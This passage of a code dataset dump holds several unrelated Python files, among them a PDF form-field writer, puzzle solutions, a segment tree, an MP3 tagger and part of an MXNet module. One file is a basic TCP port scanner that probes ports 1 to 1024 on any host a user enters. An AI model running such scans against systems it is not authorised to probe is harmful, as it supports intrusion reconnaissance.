PDFdefaulttext(writer, registry, self.fontsize, self.font,\n                self.fontleading, text, self.bb_pt, self.borderwidth, vcenter)\n            self.registry.add(self.defaulttext)\n        else:\n            self.defaulttext = None\n\n        # process some fillstyles:\n        fillstring = io.StringIO()\n        for attr in fillstyles:\n            if 1:#isinstance(attr, color.color):\n                cont = pdfwriter.context()\n                cont.fillattr = 1\n                cont.strokeattr = 0\n                attr.processPDF(fillstring, writer, cont, self.registry, bbox)\n        self.fillstyles = fillstring.getvalue()\n        fillstring.close()\n\n        registry.mergeregistry(self.registry)\n\n    def write(self, file, writer, registry):\n        ### the dictionary entries for the annotation\n        file.write(\"<</Type /Annot\\n\")\n        file.write(\"/P %d 0 R\\n\" % registry.getrefno(self.PDFform)) # reference to the page objects\n        file.write(\"/Rect [%f %f %f %f]\\n\" % self.bb_pt) # the annotation rectangle\n        #ile.write(\"/BS <</W 0 /S /S>>\\n\") # border style dictionary\n        file.write(\"/Border [0 0 %f]\\n\" % self.borderwidth) # border style\n        file.write(\"/F %d\\n\" % self.annotflag)\n        ### the dictionary entries for the widget annotations\n        file.write(\"/Subtype /Widget\\n\")\n        file.write(\"/H /N\\n\") # highlight behaviour\n        if self.defaulttext:\n            file.write(\"/AP <</N %d 0 R >>\\n\" % registry.getrefno(self.defaulttext)) # appearance dictionary\n        ### the dictionary entries for the form field\n        file.write(\"/FT /Tx\\n\") # type of the form field\n        file.write(\"/T (%s)\\n\" % self.name) # partial field name\n        file.write(\"/TU (%s)\\n\" % self.name) # field name for the user-interface\n        file.write(\"/TM (%s)\\n\" % self.name) # field name for exporting the data\n        file.write(\"/V (%s)\\n\" % self.defaultvalue) # starting value\n        file.write(\"/DV (%s)\\n\" % self.defaultvalue) # reset value\n        file.write(\"/Ff %d\\n\" % self.formflag) # flags for various purposes\n        ### the dictionary entries for the text field\n        file.write(\"/DR \")\n        self.registry.writeresources(file) # default resources for appearance\n        file.write(\"/DA (%s /%s %f Tf %f TL)\\n\" % (self.fillstyles, self.font.name, self.fontsize, self.fontleading)) # default appearance string\n        file.write(\"/Q %d\\n\" % self.alignflag)\n        file.write(\">>\\n\")\n# >>>\nclass PDFdefaulttext(pdfwriter.PDFobject): # <<<\n\n    def __init__(self, writer, registry, fontsize, font, fontleading, texts, bb, borderwidth, vcenter):\n\n        pdfwriter.PDFobject.__init__(self, \"defaulttext\")\n        self.font = font\n        self.fontsize = fontsize\n        self.fontleading = fontleading\n\n        self.registry = pdfwriter.PDFregistry()\n        self.registry.addresource(\"Font\", self.font.name, self.font, procset=\"Text\")\n        self.registry.add(self.font)\n\n        self.bb = (0, 0, bb[2] - bb[0], bb[3] - bb[1])\n        self.texts = [t for t in texts if t]\n\n        self.borderwidth = borderwidth\n        # try to imitate the shifting of PDF:\n        # the font orientation point is on the baseline of the text\n        self.hshift = 2*self.borderwidth\n        if vcenter:\n            baselinevrel = 0.215\n            self.vshift = 0.5 * (bb[3] - bb[1]) + (len(self.texts) / 2.0 - 1)*self.fontleading + baselinevrel*self.fontsize\n        elif (bb[3] - bb[1]) < self.fontleading + 4*self.borderwidth:\n            baselinevrel = 0.215\n            self.vshift = 2*self.borderwidth + baselinevrel * self.fontsize\n            #self.vshift = 0.5 * (bb[3] - bb[1]) - (0.5 - baselinevrel - 0.5*addrelshift)*self.fontsize\n        else:\n            baselinevrel = 0.215\n            addrelshift = 0.215\n            self.vshift = (bb[3] - bb[1]) - 2*self.borderwidth - self.fontleading + (baselinevrel - addrelshift)*self.fontsize\n\n        registry.mergeregistry(self.registry)\n\n\n    def write(self, file, writer, registry):\n        content = \"/Tx BMC q BT /%s %f Tf %f TL %f %f Td (%s) Tj\" % (self.font.name, self.fontsize, self.fontleading, self.hshift, self.vshift, self.texts[0])\n        for text in self.texts[1:]:\n            content += \" (%s)'\" % (text)\n        content += \" ET Q EMC\\n\"\n        if writer.compress:\n            import zlib\n            content = zlib.compress(content)\n\n        file.write(\"<<\\n\")\n        file.write(\"/Type /XObject\\n\")\n        file.write(\"/Subtype /Form\\n\")\n        file.write(\"/BBox [%f %f %f %f]\\n\" % self.bb)\n        #ile.write(\"/Matrix [0.98 0.17 -0.17 0.98 0 0]\\n\")\n        file.write(\"/Resources \")\n        self.registry.writeresources(file) # default resources for appearance\n        file.write(\"/Length %i\\n\" % len(content))\n        if writer.compress:\n            file.write(\"/Filter /FlateDecode\\n\")\n        file.write(\">>\\n\"\n                   \"stream\\n\")\n        file.write(content)\n        file.write(\"endstream\\n\")\n# >>>\n\n\nclass radiobuttons(formfield): # <<<\n\n    \"\"\"A set of related buttons that can each be on or off.\n\n    Typically, at most one radio button in a set may be on at any\n    given time, and selecting any one of the buttons\n    automatically deselects all the others.\n\n    Note that the behaviour under rotations is undefined.\"\"\"\n\n    defaultflags = dict(invisible=0, hidden=0, printable=1, nozoom=0,\n        norotate=0, noview=0, readonly=0, required=0, noexport=0, notoggletooff=0)\n\n    def __init__(self, positions, name, values, defaultvalue=None, size=10, baselinerelpos=0.2, **flags):\n\n        self.name = name\n        self.size_pt = _topt(size, \"x\", \"pt\")\n        self.positions_pt = [(_topt(x), _topt(y) - baselinerelpos*self.size_pt) for x, y in positions]\n        self.flags = self.selectflags(flags)\n        self.flags[\"radio\"] = 1\n        self.values = values\n        self.defaultvalue = defaultvalue\n\n    def bbox(self):\n        llx = min([x[0] for x in self.positions_pt])\n        lly = min([x[1] for x in self.positions_pt])\n        urx = max([x[0] for x in self.positions_pt]) + self.size_pt\n        ury = max([x[1] for x in self.positions_pt]) + self.size_pt\n        return bbox.bbox_pt(llx, lly, urx, ury)\n\n    def processPDF(self, file, writer, context, registry, bbox):\n        # the bbox is transformed by the canvas\n        bbox += self.bbox()\n\n        # the annotation rectangle must be transformed separately:\n        positions_pt = [context.trafo.apply_pt(x, y) for x, y in self.positions_pt]\n        size_pt = _sizetrafo(self.size_pt, context.trafo)\n\n        # we create numbers from the flags given\n        annotflag, formflag = _pdfflags(self.flags)\n\n        onstate = PDFButtonState(writer, registry,\n            10, PDFZapfDingbats, bgchar=\"m\", fgchar=\"8\",\n            bgscale=1.1, bgrelshift=(0, 0.18), fgrelshift=(0.12, 0.26))\n        offstate = PDFButtonState(writer, registry,\n            10, PDFZapfDingbats, bgchar=\"m\", fgchar=None,\n            bgscale=1.1, bgrelshift=(0, 0.18))\n        registry.add(onstate)\n        registry.add(offstate)\n\n        registry.add(PDFbuttonlist(positions_pt, self.name, size_pt, self.values, self.defaultvalue,\n            annotflag, formflag, onstate, offstate, writer, registry))\n# >>>\nclass checkbox(formfield): # <<<\n\n    \"\"\"Toggles between two states, on and off\n\n    Note that the behaviour under rotations is undefined.\"\"\"\n\n    defaultflags = dict(invisible=0, hidden=0, printable=1, nozoom=0,\n        norotate=0, noview=0, readonly=0, required=0, noexport=0)\n\n    def __init__(self, x, y, name, defaulton=0, size=10, baselinerelpos=0.2, **flags):\n\n        self.name = name\n        self.size_pt = _topt(size, \"x\", \"pt\")\n        self.llx_pt, self.lly_pt = _topt(x), _topt(y) - baselinerelpos*self.size_pt\n        self.urx_pt, self.ury_pt = self.llx_pt + self.size_pt, self.lly_pt + self.size_pt\n        self.flags = self.selectflags(flags)\n        self.defaulton = defaulton\n\n    def processPDF(self, file, writer, context, registry, bbox):\n        # the bbox is transformed by the canvas\n        bbox += self.bbox()\n\n        # the annotation rectangle must be transformed separately:\n        positions_pt = [context.trafo.apply_pt(self.llx_pt, self.lly_pt)]\n        size_pt = _sizetrafo(self.size_pt, context.trafo)\n\n        # we create numbers from the flags given\n        annotflag, formflag = _pdfflags(self.flags)\n\n        onstate = PDFButtonState(writer, registry,\n            10, PDFZapfDingbats, bgchar=\"o\", fgchar=\"4\",\n            bgscale=1.2, bgrelshift=(0, 0.08), fgscale=0.9, fgrelshift=(0.15, 0.25))\n        offstate = PDFButtonState(writer, registry,\n            10, PDFZapfDingbats, bgchar=\"o\", fgchar=None,\n            bgscale=1.2, bgrelshift=(0, 0.08))\n        registry.add(onstate)\n        registry.add(offstate)\n\n        if self.defaulton:\n            default = \"Yes\"\n        else:\n            default = \"Off\"\n\n        registry.add(PDFbuttonlist(positions_pt, self.name, size_pt, [\"Yes\"], default,\n            annotflag, formflag, onstate, offstate, writer, registry))\n# >>>\nclass PDFbuttonlist(pdfwriter.PDFobject): # <<<\n\n    def __init__(self, positions_pt, name, size_pt, values, defaultvalue, annotflag, formflag,\n        onstate, offstate, writer, registry):\n\n        pdfwriter.PDFobject.__init__(self, \"formfield_buttonlist\")\n\n        # append this formfield to the global document form\n        # but we do not treat this as a fully valid annotation field\n        for object in registry.objects:\n            if object.type == \"form\":\n                object.append(self)\n\n        self.name = name\n        self.formflag = formflag\n        self.annotflag = annotflag\n\n        self.size_pt = size_pt\n        self.defaultvalue = defaultvalue\n        self.onstate = onstate\n        self.offstate = offstate\n\n        self.checkboxes = []\n        for i, pos_pt, value in zip(list(range(len(values))), positions_pt, values):\n            chbox = PDFcheckboxfield(pos_pt, value, size_pt, _simplestring(value), (value == defaultvalue),\n                self, self.onstate, self.offstate, self.annotflag, self.formflag, writer, registry)\n            self.checkboxes.append(chbox)\n            registry.add(chbox)\n\n    def write(self, file, writer, registry):\n        ### implementation note: There are some (undocumented) PDF flaws which\n        ### do not allow to inherit certain variables:\n        ### * The parent button may not have /Ff (otherwise, notoggletooff fails)\n        ### * The Kids of a radio button may not have a /T on their own (otherwise, they are not displayed)\n        ### * The /BS and /Border do not draw anything.\n        ###   Nevertheless, the border width of /Border is used\n\n        ### the dictionary entries for the annotation\n        file.write(\"<<\\n\")\n        ### the dictionary entries for the form field\n        file.write(\"/FT /Btn\\n\") # type of the form field\n        file.write(\"/Kids [%s]\\n\" % \" \".join([\"%d 0 R\" % registry.getrefno(x) for x in self.checkboxes]))\n        file.write(\"/T (%s)\\n\" % self.name) # partial field name\n        file.write(\"/TU (%s)\\n\" % self.name) # field name for the user-interface\n        file.write(\"/TM (%s)\\n\" % self.name) # field name for exporting the data\n        ### the dictionary entries for the radiobuttons field\n        file.write(\"/V /%s\\n\" % self.defaultvalue)\n        file.write(\">>\\n\")\n# >>>\nclass PDFcheckboxfield(pdfwriter.PDFobject): # <<<\n\n    def __init__(self, pos_pt, name, size_pt, valuename, defaulton, parent, onstate, offstate, annotflag, formflag, writer, registry):\n\n        pdfwriter.PDFobject.__init__(self, \"formfield_checkbox\")\n\n        # we treat this as an annotation only, since the parent is\n        # already in the form field\n        self.PDFform = None\n        for object in registry.objects:\n            if object.type == \"form\":\n                assert self.PDFform is None\n                self.PDFform = object\n            if object.type == \"annotations\":\n                object.append(self)\n\n        self.bb_pt = (pos_pt[0], pos_pt[1], pos_pt[0] + size_pt, pos_pt[1] + size_pt)\n        self.name = name\n        self.size_pt = size_pt\n        self.valuename = valuename\n        if defaulton:\n            self.defaultvalue = self.valuename\n        else:\n            self.defaultvalue = \"Off\"\n        self.parent = parent\n        self.onstate = onstate\n        self.offstate = offstate\n        self.annotflag = annotflag\n        self.formflag = formflag\n\n    def write(self, file, writer, registry):\n        ### the dictionary entries for the annotation\n        file.write(\"<<\\n\")\n        file.write(\"/Type /Annot\\n\")\n        file.write(\"/Subtype /Widget\\n\")\n        file.write(\"/P %d 0 R\\n\" % registry.getrefno(self.PDFform)) # reference to the page objects\n        file.write(\"/Rect [%f %f %f %f]\\n\" % self.bb_pt) # the annotation rectangle\n        file.write(\"/F %d\\n\" % self.annotflag) # flags\n        ### the dictionary entries for the widget annotations\n        file.write(\"/H /N\\n\") # hightlight behaviour\n        ### the dictionary entries for the form field\n        file.write(\"/FT /Btn\\n\") # type of the form field\n        file.write(\"/Parent %d 0 R\\n\" % registry.getrefno(self.parent)) # only for hierarchy\n        file.write(\"/AP << /N << /%s %d 0 R /Off %d 0 R >> >>\\n\" % (self.valuename, registry.getrefno(self.onstate), registry.getrefno(self.offstate)))\n        file.write(\"/AS /%s\\n\" % self.defaultvalue)\n        file.write(\"/Ff %d\\n\" % self.formflag) # Ff may not come from parent!\n        file.write(\">>\\n\")\n# >>>\nclass PDFButtonState(pdfwriter.PDFobject): # <<<\n\n    def __init__(self, writer, registry, fontsize, font, bgchar, fgchar,\n        bgscale=None, bgrelshift=None, fgscale=None, fgrelshift=None):\n\n        pdfwriter.PDFobject.__init__(self, \"buttonstate\", \"buttonstate\" + \"_\".join(map(str, list(map(id, [fontsize, font, bgchar, fgchar, bgscale, bgrelshift, fgscale, fgrelshift])))))\n        self.font = font\n        self.fontsize = fontsize\n        registry.addresource(\"Font\", self.font.name, self.font, procset=\"Text\")\n        registry.add(self.font)\n        self.bb = 0, 0, fontsize, fontsize\n        self.bgchar = bgchar\n        self.fgchar = fgchar\n\n        if bgscale is None and bgrelshift is not None:\n            bgscale = 1\n        if bgscale is not None and bgrelshift is None:\n            bgrelshift = 0, 0\n        if bgscale is not None:\n            self.bgtrafo = \"%f 0 0 %f %f %f Tm\" % (bgscale, bgscale, bgrelshift[0]*self.fontsize, bgrelshift[1]*self.fontsize)\n        else:\n            self.bgtrafo = \"\"\n\n        if fgscale is None and fgrelshift is not None:\n            fgscale = 1\n        if fgscale is not None and fgrelshift is None:\n            fgrelshift = 0, 0\n        if fgscale is not None:\n            self.fgtrafo = \"%f 0 0 %f %f %f Tm\" % (fgscale, fgscale, fgrelshift[0]*self.fontsize, fgrelshift[1]*self.fontsize)\n        else:\n            self.fgtrafo = \"\"\n\n    def write(self, file, writer, registry):\n        content = \"\"\n        if self.bgchar:\n            content += \"q BT /%s %f Tf %s (%s) Tj ET Q\\n\" % (self.font.name, self.fontsize, self.bgtrafo, self.bgchar)\n        if self.fgchar:\n            content += \"q BT /%s %f Tf %s (%s) Tj ET Q\\n\" % (self.font.name, self.fontsize, self.fgtrafo, self.fgchar)\n        if writer.compress:\n            import zlib\n            content = zlib.compress(content)\n\n        file.write(\"<<\\n\")\n        file.write(\"/Type /XObject\\n\")\n        file.write(\"/Subtype /Form\\n\")\n        file.write(\"/BBox [%f %f %f %f]\\n\" % self.bb)\n        #ile.write(\"/Matrix [0.98 0.17 -0.17 0.98 0 0]\\n\")\n        file.write(\"/Resources <</Font << /%s %d 0 R >> /ProcSet [/PDF /Text] >>\\n\" %\n                   (self.font.name, registry.getrefno(self.font)))\n        file.write(\"/Length %i\\n\" % len(content))\n        if writer.compress:\n            file.write(\"/Filter /FlateDecode\\n\")\n        file.write(\">>\\n\"\n                   \"stream\\n\")\n        file.write(content)\n        file.write(\"endstream\\n\")\n\n\n## Zapf Dingbats symbols for further buttonstates:\n# \"3\" = thin checkmark\n# \"4\" = thick checkmark\n# \"5\" = thin large cross\n# \"6\" = thick large cross\n# \"7\" = thin small cross\n# \"8\" = thick small cross\n# \"l\" = filled circle\n# \"m\" = empty circle\n# \"n\" = filled rectangle\n# \"o\" = empty rectangle (shadow bottom right)\n# \"p\" = empty rectangle (shadow top right)\n# \"q\" = empty box (to bottom right)\n# \"r\" = empty box (to top right)\n# >>>\n\n\nclass choicefield(formfield): # <<<\n    \"\"\"An interactive pdf form field for text input.\n\n    The name is used for the graphical user interface and for exporing the input data.\n    Note that the behaviour under rotations is undefined.\"\"\"\n\n    defaultflags = dict(invisible=0, hidden=0, printable=1, nozoom=0,\n        norotate=0, noview=0, readonly=0, required=0, noexport=0, combo=1,\n        edit=0, sort=0, multiselect=0, donotspellcheck=1)\n\n    def __init__(self, x, y, width, height, name, values, defaultvalue=None, fontsize=10, font=None,\n        borderwidth=0, align=\"l\", **flags):\n\n        self.llx_pt, self.lly_pt = _topt(x), _topt(y)\n        self.urx_pt, self.ury_pt = _topt(x+width), _topt(y+height)\n        self.name = name\n        self.values = values\n        self.defaultvalue = defaultvalue\n        self.fontsize_pt = _topt(fontsize, \"x\", \"pt\")\n        self.font = font # TODO: add the generic fonts\n        self.borderwidth_pt = _topt(borderwidth, \"x\", \"pt\")\n        self.flags = self.selectflags(flags)\n        self.align = align\n\n    def processPDF(self, file, writer, context, registry, bbox):\n        # the bounding box is transformed by the canvas\n        bbox += self.bbox()\n\n        # the annotation rectangle must be transformed separately:\n        llx_pt, lly_pt = context.trafo.apply_pt(self.llx_pt, self.lly_pt)\n        urx_pt, ury_pt = context.trafo.apply_pt(self.urx_pt, self.ury_pt)\n        fontsize_pt = _sizetrafo(self.fontsize_pt, context.trafo)\n        borderwidth_pt = _sizetrafo(self.borderwidth_pt, context.trafo)\n\n        # we create numbers from the flags given\n        annotflag, formflag = _pdfflags(self.flags)\n        alignflag = _pdfalignment(self.align)\n\n        registry.add(PDFchoicefield((llx_pt, lly_pt, urx_pt, ury_pt),\n            self.name, self.values, self.defaultvalue, fontsize_pt, self.font,\n            borderwidth_pt, alignflag, annotflag, formflag, writer, registry))\n# >>>\nclass PDFchoicefield(pdfwriter.PDFobject): # <<<\n\n    def __init__(self, bb_pt, name, values, defaultvalue, fontsize, font,\n        borderwidth_pt, alignflag, annotflag, formflag, writer, registry):\n\n        pdfwriter.PDFobject.__init__(self, \"formfield_choice\")\n\n        # append this formfield to the global document form\n        # and to the annotation list of the page:\n        self.PDFform = None\n        for object in registry.objects:\n            if object.type == \"form\":\n                object.append(self)\n                self.PDFform = object\n            elif object.type == \"annotations\":\n                object.append(self)\n\n        self.name = name\n        self.bb_pt = bb_pt\n        self.values = values\n        self.defaultvalue = defaultvalue\n        self.fontsize = fontsize\n        self.font = font\n        if self.font is None:\n            self.font = PDFHelvetica\n        registry.addresource(\"Font\", self.font.name, self.font, procset=\"Text\")\n        registry.add(self.font)\n        self.borderwidth_pt = borderwidth_pt\n        self.alignflag = alignflag\n        self.formflag = formflag\n        self.annotflag = annotflag\n\n    def write(self, file, writer, registry):\n        ### the dictionary entries for the annotation\n        file.write(\"<</Type /Annot\\n\")\n        file.write(\"/P %d 0 R\\n\" % registry.getrefno(self.PDFform)) # reference to the page objects\n        file.write(\"/Rect [%f %f %f %f]\\n\" % self.bb_pt) # the annotation rectangle\n        #ile.write(\"/BS << ... >>\\n\" # border style dictionary\n        file.write(\"/Border [0 0 %f]\\n\" % self.borderwidth_pt) # border style\n        file.write(\"/F %d\\n\" % self.annotflag)\n        ### the dictionary entries for the widget annotations\n        file.write(\"/Subtype /Widget\\n\")\n        file.write(\"/H /N\\n\") # highlight behaviour\n        #ile.write(\"/AP <</N  >>\\n\") # appearance dictionary TODO\n        ### the dictionary entries for the form field\n        file.write(\"/FT /Ch\\n\") # type of the form field\n        file.write(\"/T (%s)\\n\" % self.name) # partial field name\n        file.write(\"/TU (%s)\\n\" % self.name) # field name for the user-interface\n        file.write(\"/TM (%s)\\n\" % self.name) # field name for exporting the data\n        if self.defaultvalue in self.values:\n            file.write(\"/V (%s)\\n\" % self.defaultvalue) # starting value\n        file.write(\"/Ff %d\\n\" % self.formflag) # flags for various purposes\n        ### the dictionary entries for the text field\n        file.write(\"/DR <</Font <</%s %d 0 R >> >>\\n\" % (self.font.name, registry.getrefno(self.font))) # default resources for appearance\n        file.write(\"/DA (/%s %f Tf)\\n\" % (self.font.name, self.fontsize)) # default appearance string\n        file.write(\"/Q %d\\n\" % self.alignflag)\n        file.write(\"/Opt [\")\n        for value in self.values:\n            file.write(\" (%s)\" % value)\n        file.write(\" ]\\n\")\n        file.write(\">>\\n\")\n# >>>\n\n\n# vim:foldmethod=marker:foldmarker=<<<,>>>\n\n","repo_name":"kevancress/MeasureIt_ARCH","sub_path":"libs/pyx/pdfextra.py","file_name":"pdfextra.py","file_ext":"py","file_size_in_byte":28350,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"37"}
+{"seq_id":"6950985030","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan  1 00:40:01 2017\n\n@author: christophergreen\n\nLychrel numbers\nProblem 55\nIf we take 47, reverse and add, 47 + 74 = 121, which is palindromic.\n\nNot all numbers produce palindromes so quickly. For example,\n\n349 + 943 = 1292,\n1292 + 2921 = 4213\n4213 + 3124 = 7337\n\nThat is, 349 took three iterations to arrive at a palindrome.\n\nAlthough no one has proved it yet, it is thought that some numbers, like 196,\n never produce a palindrome. A number that never forms a palindrome through the \n reverse and add process is called a Lychrel number. Due to the theoretical\n nature of these numbers, and for the purpose of this problem, we shall assume\n that a number is Lychrel until proven otherwise. In addition you are given\n that for every number below ten-thousand, it will either (i) become a \n palindrome in less than fifty iterations, or, (ii) no one, with all the \n computing power that exists, has managed so far to map it to a palindrome.\n In fact, 10677 is the first number to be shown to require over fifty \n iterations before producing a palindrome: 4668731596684224866951378664 \n (53 iterations, 28-digits).\n\nSurprisingly, there are palindromic numbers that are themselves Lychrel numbers; the first example is 4994.\n\nHow many Lychrel numbers are there below ten-thousand?\n\"\"\"\n\n    \ndef is_palindrome(x):\n    if str(x)==str(x)[::-1]:\n        return True\n    return False;\n\ndef lychrel_test(a):\n    x=a;\n    i=1;\n    while i<=50:\n        x=x+int(str(x)[::-1])\n        if is_palindrome(x):\n            print(a,\"became the palindrome\",x,\"after\",i,\"steps\");\n            return False;\n        else:\n            i+=1;\n    print(a,\"never produced a palindrome in 50 steps, so it's a Lychrel\");\n    return True;\n\ndef get_lychrels(max):\n    i=1;\n    lychs=[];\n    while i<max:\n        if lychrel_test(i):\n            lychs.append(i);\n        i+=1;\n    print(\" \");\n    print(\"there are\",len(lychs),\"lychrel numbers that are less than\",max,\"They are:\");\n    print(lychs);\n    return len(lychs);\n\nget_lychrels(10000); #--> 249 \n\n","repo_name":"Warriorchief/ProjectEuler-55_LychrelNumbers","sub_path":"#55_Lychrel_Numbers.py","file_name":"#55_Lychrel_Numbers.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"10061832840","text":"#!/usr/bin/enn python\nimport socket\nimport subprocess\nimport sys\nfrom datetime import datetime\n\n# Clear the screen\nsubprocess.call('clear', shell=True)\n\ndef main():\n#ask for input\n    serv   = input(\"Please enter a host to scan: \")\n    servIP = socket.gethostbyname(serv)\n\n# print a banner with host info \n    print(\"-\" * 60)\n    print(\"PLease wait, scanning host...\", servIP)\n    print(\"-\" * 60)\n\n# check what time the scan started\n    start = datetime.now()\n\n# Using the range function to specify ports(between 1 and 1024)\n    try:\n        for port in range(1,1025):\n            sockx = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sockx.settimeout(0.5)\n            res   = sockx.connect_ex((servIP, port)) \n            if res == 0:\n                print(\"Port {}: Open\".format(port))\n            sockx.close()\n\n# exceptions for error handling\n    except KeyboardInterrupt:\n        print(\"you pressed Ctrl+C\")\n        sys.exit()\n\n    except socket.gaierror:\n        print(\"Hostname could not be resolved. Exiting\")\n        sys.exit()\n\n    except socket.error:\n        print(\"Couldn't connect to server\") \n        sys.exit()\n\n#check time again\n    finish = datetime.now()\n\n#find and print the difference from start to finish\n    total = finish - start\n\n    print(\"Scanning completed in: \", total)\n\nmain()\n\n#run scanner again\nwhile True:\n    again = input(\"Would you like to scan another host? (y/n): \")\n    if again not in ('y', 'n'):\n        print(\"Not a valid input.\")\n        break\n    if again == 'y':\n        main()\n    else:\n        print(\"Goodbye \")\n        break\n\n\n\n","repo_name":"RobotsHead/python-scripts","sub_path":"portscanner.py","file_name":"portscanner.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"22795461786","text":"class Solution:\n    def removeElement(self, nums: List[int], val: int) -> int:\n        \"\"\"\n        val마주치면 pass and cnt +=1\n        \"\"\"\n        k = 0 \n        for i in range(len(nums)):\n            if nums[i] != val:\n                nums[k] = nums[i] \n                k += 1\n        return k","repo_name":"choieastsea/alg","sub_path":"leet_code/27_2.py","file_name":"27_2.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"73884314668","text":"#https://www.e-olymp.com/uk/submissions/7666387\n\nclass SegmentTree:\n    def __init__(self, array, name):\n        n = len(array)\n        self.items = 2 * n * [0]\n\n        for i in range(n):\n            self.items[n + i] = array[i]\n\n        for i in range(n - 1, 0, -1):\n            self.items[i] = getattr(self, name)(self.items[2 * i], self.items[2 * i + 1])\n\n        self.size = n\n        self.name = name\n\n    def gcd(self, a, b):\n        while a != 0 and b != 0:\n            if a > b:\n                a %= b\n            else:\n                b %= a\n\n        return a + b\n\n    def lcm(self, a, b):\n        return (a * b) // self.gcd(a, b)\n\n    def update(self, pos, val):\n        pos += self.size\n        self.items[pos] = val\n        i = pos // 2\n\n        while i > 0:\n            self.items[i] = getattr(self, self.name)(self.items[2 * i], self.items[2 * i + 1])\n            i //= 2\n\n    def intervalValue(self, left, right):\n        left += self.size\n        right += self.size\n        res = None\n\n        while left <= right:\n            if left % 2 == 1:\n                res = getattr(self, self.name)(res, self.items[left]) if res else self.items[left]\n                left += 1\n            if right % 2 == 0:\n                res = getattr(self, self.name)(res, self.items[right]) if res else self.items[right]\n                right -= 1\n\n            left //= 2\n            right //= 2\n\n        return res\n\ndef wins(a, b):\n    if a < b:\n        return \"wins\"\n    elif a > b:\n        return \"loser\"\n    else:\n        return \"draw\"\n\nif __name__ == '__main__':\n    n = int(input())\n    array = list(map(int, input().split()))\n    m = int(input())\n    tree1 = SegmentTree(array, \"gcd\")\n    tree2 = SegmentTree(array, \"lcm\")\n\n    for _ in range(m):\n        q, l, r = map(int, input().split())\n\n        if q == 1:\n            a = tree1.intervalValue(l - 1, r - 1)\n            b = tree2.intervalValue(l - 1, r - 1)\n            print(wins(a, b))\n        else:\n            tree1.update(l - 1, r)\n            tree2.update(l - 1, r)\n","repo_name":"Invalid-coder/Data-Structures-and-algorithms","sub_path":"SegmentTrees/Tasks/eolymp(4482).py","file_name":"eolymp(4482).py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15541658742","text":"import os\r\nimport shelve\r\nimport eyed3\r\nfrom pathlib import Path\r\n\r\ndef func07TitleMetadata(videoID):\r\n    originalDir = Path.cwd()\r\n    fileExtension = \"mp3\"\r\n    shelfName = \"titleData\"\r\n    dataDir = \"data\"\r\n    fileBasename = videoID\r\n    filename = f\"{fileBasename}.{fileExtension}\"\r\n    outputDir = \"output\"\r\n\r\n    os.chdir(dataDir)\r\n\r\n    myShelf = shelve.open(shelfName)\r\n\r\n    try:\r\n        storedTitle = myShelf[videoID]\r\n    \r\n    except KeyError:\r\n        return\r\n    \r\n    myShelf.close()\r\n    os.chdir(\"..\")\r\n\r\n    musicFileTagged = eyed3.load(f\"{outputDir}/{filename}\")\r\n    musicFileTagged.tag.title = storedTitle\r\n    musicFileTagged.tag.save()\r\n\r\n    ","repo_name":"ioubread/utubedladv","sub_path":"functions/func07TitleMetadata.py","file_name":"func07TitleMetadata.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"722209485","text":"import logging\nfrom collections import OrderedDict\n\nfrom .. import context as ctx\nfrom .. import ndarray as nd\nfrom ..io import DataDesc\nfrom ..executor_manager import _split_input_slice\n\n\ndef _load_general(data, targets, major_axis):\n    \"\"\"Load a list of arrays into a list of arrays specified by slices.\"\"\"\n    for d_src, d_targets, axis in zip(data, targets, major_axis): # pylint: disable=too-many-nested-blocks\n        if isinstance(d_targets, nd.NDArray):\n            d_src.copyto(d_targets)\n        elif isinstance(d_src, (list, tuple)):\n            for src, dst in zip(d_src, d_targets):\n                src.copyto(dst)\n        else:\n            for slice_idx, d_dst in d_targets:\n                if axis >= 0:\n                    # copy slice\n                    shape = d_src.shape\n                    do_crop = (slice_idx.start != 0 or shape[axis] != slice_idx.stop)\n                    # pylint: disable=no-member,protected-access\n                    if do_crop:\n                        if axis == 0:\n                            d_src[slice_idx.start:slice_idx.stop].copyto(d_dst)\n                        else:\n                            if d_src.context == d_dst.context:\n                                nd.slice_axis(d_src, axis=axis, begin=slice_idx.start,\n                                              end=slice_idx.stop, out=d_dst)\n                            else:\n                                # on different device, crop and then do cross device copy\n                                d_dst_copy = nd.slice_axis(d_src, axis=axis, begin=slice_idx.start,\n                                                           end=slice_idx.stop)\n                                d_dst_copy.copyto(d_dst)\n                    else:\n                        d_src.copyto(d_dst)\n                    # pylint: enable=no-member,protected-access\n                else:\n                    d_src.copyto(d_dst)\n\n\ndef _load_data(batch, targets, major_axis):\n    \"\"\"Load data into sliced arrays.\"\"\"\n    _load_general(batch.data, targets, major_axis)\n\n\ndef _load_label(batch, targets, major_axis):\n    \"\"\"Load label into sliced arrays.\"\"\"\n    _load_general(batch.label, targets, major_axis)\n\n\ndef _merge_multi_context(outputs, major_axis):\n    \"\"\"Merge outputs that lives on multiple context into one, so that they look\n    like living on one context.\n    \"\"\"\n    rets = []\n    for tensors, axis in zip(outputs, major_axis):\n        if axis >= 0:\n            # pylint: disable=no-member,protected-access\n            if len(tensors) == 1:\n                rets.append(tensors[0])\n            else:\n                # Concatenate if necessary\n                rets.append(nd.concat(*[tensor.as_in_context(tensors[0].context)\n                                        for tensor in tensors],\n                                      dim=axis))\n            # pylint: enable=no-member,protected-access\n        else:\n            # negative axis means the there is no batch_size axis, and all the\n            # results should be the same on each device. We simply take the\n            # first one, without checking they are actually the same\n            rets.append(tensors[0])\n    return rets\n\n\nclass DataParallelExecutorGroup(object):\n    \"\"\"A group of executors that lives on a group of devices.\n    This is a helper class used to implement data parallelization. Each mini-batch will\n    be split and run on the devices.\n\n    Parameters\n    ----------\n    symbol : Symbol\n        The common symbolic computation graph for all executors.\n    contexts : list\n        A list of contexts.\n    workload : list\n        If not ``None``, could be a list of numbers that specify the 